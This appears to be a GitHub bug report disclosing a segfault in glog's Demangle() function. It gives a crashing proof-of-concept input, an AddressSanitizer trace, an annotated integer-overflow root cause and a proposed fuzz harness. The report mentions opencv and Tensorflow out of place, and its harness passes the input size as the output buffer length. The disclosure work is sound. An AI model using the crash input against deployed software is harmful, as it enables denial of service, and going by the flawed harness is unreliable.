glog
glog copied to clipboard
Demangle API: SEGV on unknown address
Bug Report
Found SEGV on Demangle() API Function, that may cause security vulnerabilities such as 'Invalid Memory Access'.
PoC Code
#include "demangle.h"
using namespace GOOGLE_NAMESPACE;
const char *Poc = "_Z5\3435Dfuzzvaemanzz4f[ZZ6vaema6666666666666666666666666nzz3\264f[ZZ8nz\347z2f[ZZ8vaemanz:3f[ZZ8\"Dfufuzz3nzzvf[ZZ8nz\347z2f[DfufuzzvaemDemafuzzvaem4\"\n";
int main() {
char demangled[4096];
Demangle(Poc, demangled, sizeof(demangled));
return 0;
}
Address Sanitizer Report
!!!! AVASFUZZ_TEST: Add Pre Function:fuzz_test_AVASFUZZ_TestAutoFuzz_Demangle_Test-0x500560, Pre-Func size:1, TCs size:1 !!!!
!!!! AVASFUZZ_TEST: Add Fuzz Test Case Function:fuzz_test_AVASFUZZ_TestAutoFuzz_Demangle_Test-0x500740, TCs size:1 !!!!
!!!! AVASFUZZ_TEST: Add Post Function:fuzz_test_AVASFUZZ_TestAutoFuzz_Demangle_Test-0x500c90, Post-Func size:1, TCs size:1 !!!!
INFO: Seed: 1725690318
INFO: Loaded 1 modules (1482 inline 8-bit counters): 1482 [0x93d988, 0x93df52),
INFO: Loaded 1 PC tables (1482 PCs): 1482 [0x93df58,0x943bf8),
INFO: 1 files found in crash
INFO: -max_len is not provided; libFuzzer will not generate inputs larger than 4096 bytes
INFO: seed corpus: files: 1 min: 167b max: 167b total: 167b rss: 29Mb
!!!! RUN_ALL_AVASFUZZ_TESTS : Fuzz TC size: 1. It should be same with added count !!!!
!!!! AVASFUZZ_TEST: START 1 PRE-ACTIONS, fuzz_test_AVASFUZZ_TestAutoFuzz_Demangle_Test
!!!! AVASFUZZ_TEST: SRART TC, fuzz_test_AVASFUZZ_TestAutoFuzz_Demangle_Test
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28497==ERROR: AddressSanitizer: SEGV on unknown address 0x60cfc0aab1a0 (pc 0x00000050479c bp 0x7ffec9ac7040 sp 0x7ffec9ac7000 T0)
==28497==The signal is caused by a READ memory access.
#0 0x50479c in google::ParseOneCharToken(google::State*, char) /root/fuzz-test-generation/exp/glog/src/demangle.cc:211:7
#1 0x50bc19 in google::ParseAbiTag(google::State*) /root/fuzz-test-generation/exp/glog/src/demangle.cc:723:10
#2 0x506519 in google::OneOrMore(bool (*)(google::State*), google::State*) /root/fuzz-test-generation/exp/glog/src/demangle.cc:251:7
#3 0x50b7de in google::ParseAbiTags(google::State*) /root/fuzz-test-generation/exp/glog/src/demangle.cc:713:7
#4 0x50b0a4 in google::ParseUnqualifiedName(google::State*) /root/fuzz-test-generation/exp/glog/src/demangle.cc:605:47
#5 0x50457f in google::ParseUnscopedName(google::State*) /root/fuzz-test-generation/exp/glog/src/demangle.cc:530:7
#6 0x5040d4 in google::ParseUnscopedTemplateName(google::State*) /root/fuzz-test-generation/exp/glog/src/demangle.cc:547:10
#7 0x502b65 in google::ParseName(google::State*) /root/fuzz-test-generation/exp/glog/src/demangle.cc:514:7
#8 0x508ac4 in google::ParseClassEnumType(google::State*) /root/fuzz-test-generation/exp/glog/src/demangle.cc:1044:10
#9 0x50700e in google::ParseType(google::State*) /root/fuzz-test-generation/exp/glog/src/demangle.cc:965:7
#10 0x50654d in google::OneOrMore(bool (*)(google::State*), google::State*) /root/fuzz-test-generation/exp/glog/src/demangle.cc:252:12
#11 0x502e1e in google::ParseBareFunctionType(google::State*) /root/fuzz-test-generation/exp/glog/src/demangle.cc:1033:7
#12 0x502870 in google::ParseEncoding(google::State*) /root/fuzz-test-generation/exp/glog/src/demangle.cc:493:27
#13 0x501f53 in google::ParseMangledName(google::State*) /root/fuzz-test-generation/exp/glog/src/demangle.cc:485:44
#14 0x501ca4 in google::ParseTopLevelMangledName(google::State*) /root/fuzz-test-generation/exp/glog/src/demangle.cc:1306:7
#15 0x501873 in google::Demangle(char const*, char*, unsigned long) /root/fuzz-test-generation/exp/glog/src/demangle.cc:1360:10
#16 0x500260 in DemangleIt(char const*) /root/fuzz-test-generation/exp/glog/src/autofuzz_unittest.cc:22:7
#17 0x4fff31 in TestAutoFuzz_Demangle_Test::TestBody() /root/fuzz-test-generation/exp/glog/src/autofuzz_unittest.cc:30:3
#18 0x5009f9 in AVASGtestTest::runTest() /root/fuzz-test-generation/exp/glog/src/autofuzz_unittest.cc:44:7
#19 0x50078b in fuzz_test_AVASFUZZ_TestAutoFuzz_Demangle_Test() /root/fuzz-test-generation/exp/glog/src/autofuzz_unittest.cc:64:13
#20 0x55a48e in RUN_ALL_AVASFUZZ_TESTS() /root/fuzz-test-generation/exp/glog/src/avasfuzz_common/0avasfuzz.cpp:125:5
#21 0x555858 in TestOneProtoInput(mutation::APIArgument const&) /root/fuzz-test-generation/exp/glog/src/fuzz_entry.cc:20:3
#22 0x5556da in LLVMFuzzerTestOneInput /root/fuzz-test-generation/exp/glog/src/fuzz_entry.cc:17:1
#23 0x43cb22 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /home/bjeong/2020_aiva/llvm/llvm-project/compiler-rt/lib/fuzzer/./Fu zzerLoop.cpp:556:15
#24 0x43c19b in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned long, bool, fuzzer::InputInfo*, bool*) /home/bjeong/2020_aiva/llvm/llvm-project/com piler-rt/lib/fuzzer/./FuzzerLoop.cpp:470:3
#25 0x43dc43 in fuzzer::Fuzzer::ReadAndExecuteSeedCorpora(std::vector<fuzzer::SizedFile, fuzzer::fuzzer_allocator<fuzzer::SizedFile> >&) /home/bjeong/202 0_aiva/llvm/llvm-project/compiler-rt/lib/fuzzer/./FuzzerLoop.cpp:765:7
#26 0x43e139 in fuzzer::Fuzzer::Loop(std::vector<fuzzer::SizedFile, fuzzer::fuzzer_allocator<fuzzer::SizedFile> >&) /home/bjeong/2020_aiva/llvm/llvm-proj ect/compiler-rt/lib/fuzzer/./FuzzerLoop.cpp:792:3
#27 0x42dbe9 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /home/bjeong/2020_aiva/llvm/llvm-project/compiler-rt/li b/fuzzer/./FuzzerDriver.cpp:829:6
#28 0x4441b0 in main /home/bjeong/2020_aiva/llvm/llvm-project/compiler-rt/lib/fuzzer/./FuzzerMain.cpp:19:10
#29 0x7fa761cb0bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#30 0x4235c9 in _start (/root/fuzz-test-generation/AutoFuzz_Exp/test/glog_demangle_1/TestAutoFuzz_Demangle_Test+0x4235c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz-test-generation/exp/glog/src/demangle.cc:211:7 in google::ParseOneCharToken(google::State*, char)
==28497==ABORTING
MS: 0 ; base unit: 0000000000000000000000000000000000000000
0x66,0x75,0x7a,0x7a,0x76,0x61,0x72,0x32,0x3a,0x20,0x22,0x5f,0x5a,0x35,0x5c,0x33,0x34,0x33,0x35,0x44,0x66,0x75,0x7a,0x7a,0x76,0x61,0x65,0x6d,0x61,0x6e,0x7a,0x 7a,0x34,0x66,0x5b,0x5a,0x5a,0x36,0x76,0x61,0x65,0x6d,0x61,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36 ,0x36,0x36,0x36,0x36,0x36,0x6e,0x7a,0x7a,0x33,0x5c,0x32,0x36,0x34,0x66,0x5b,0x5a,0x5a,0x38,0x6e,0x7a,0x5c,0x33,0x34,0x37,0x7a,0x32,0x66,0x5b,0x5a,0x5a,0x38,0 x76,0x61,0x65,0x6d,0x61,0x6e,0x7a,0x3a,0x33,0x66,0x5b,0x5a,0x5a,0x38,0x5c,0x22,0x44,0x66,0x75,0x66,0x75,0x7a,0x7a,0x33,0x6e,0x7a,0x7a,0x76,0x66,0x5b,0x5a,0x5 a,0x38,0x6e,0x7a,0x5c,0x33,0x34,0x37,0x7a,0x32,0x66,0x5b,0x44,0x66,0x75,0x66,0x75,0x7a,0x7a,0x76,0x61,0x65,0x6d,0x44,0x65,0x6d,0x61,0x66,0x75,0x7a,0x7a,0x76, 0x61,0x65,0x6d,0x34,0x5c,0x22,0x5c,0x6e,0x22,0xa,
fuzzvar2: \"_Z5\\3435Dfuzzvaemanzz4f[ZZ6vaema6666666666666666666666666nzz3\\264f[ZZ8nz\\347z2f[ZZ8vaemanz:3f[ZZ8\\\"Dfufuzz3nzzvf[ZZ8nz\\347z2f[DfufuzzvaemDe mafuzzvaem4\\\"\\n\"\x0a
artifact_prefix='./'; Test unit written to ./crash-cfe825f8687b933ba7fe90b763eebc2c6db533b2
Base64: ZnV6enZhcjI6ICJfWjVcMzQzNURmdXp6dmFlbWFueno0ZltaWjZ2YWVtYTY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjZuenozXDI2NGZbWlo4bnpcMzQ3ejJmW1paOHZhZW1hbno6M2ZbWlo4XCJEZ nVmdXp6M256enZmW1paOG56XDM0N3oyZltEZnVmdXp6dmFlbURlbWFmdXp6dmFlbTRcIlxuIgo=
Reason
static bool ParseSourceName(State *state) { //Debugging: state has mangled_cur element that points input string indicates mangled name.
State copy = *state;
int length = -1;
if (ParseNumber(state, &length) && ParseIdentifier(state, length)) { //Debugging: length set inside ParserNumber is used in ParseIdentifier.
return true;
}
*state = copy;
return false;
}
static bool ParseNumber(State *state, int *number_out) {
int sign = 1;
if (ParseOneCharToken(state, 'n')) {
sign = -1;
}
const char *p = state->mangled_cur; //Debugging: assume that state->mangle_cur points "666666666666666666" string.
int number = 0;
for (;*p != '\0'; ++p) { // This loop works until consume all "6" in the string.
if (IsDigit(*p)) { // always true.
number = number * 10 + (*p - '0'); //Debugging: number, overflow.
} else {
break;
}
}
if (p != state->mangled_cur) { // Conversion succeeded.
state->mangled_cur = p;
if (number_out != NULL) {
*number_out = number * sign; //Debugging: number_out set to overflowed value.
}
return true;
}
return false;
}
static bool ParseIdentifier(State *state, int length) {
if (length == -1 ||
!AtLeastNumCharsRemaining(state->mangled_cur, length)) {
return false;
}
if (IdentifierIsAnonymousNamespace(state, length)) {
MaybeAppend(state, "(anonymous namespace)");
} else {
MaybeAppendWithLength(state, state->mangled_cur, length);
}
state->mangled_cur += length; //Debugging: pointer for buffer points address based on overflowed, Now this program enters unexpected state.
return true;
}
2 suggestions:
[1] Request CVE number for this bug to inform opencv users to prevent potential security vulnerabilities. [2] Register below fuzzer code to ossfuzz (https://github.com/google/oss-fuzz) for continuous fuzzing. (I found that there is no fuzzing test for glog in ossfuzz.) Note that, the git repo of UTopia project(https://github.com/Samsung/UTopia) is currently empty and will be updated until the end of May. Fuzzer Code:
/*
* This fuzzer is generated by UTopia project based on TEST(Test_Tensorflow, read_inception).
* (UTopia Project: https://github.com/Samsung/UTopia)
*/
#include "demangle.h"
using namespace GOOGLE_NAMESPACE;
extern "C" int LLVMFuzzerTestOneInput(const unsigned char *Data, unsigned Size) {
char Buffer[Size + 1];
memcpy(Buffer, Data, Size);
Buffer[Size] = 0;
char demangled[4096];
Demangle(Buffer, demangled, Size);
return 0;
}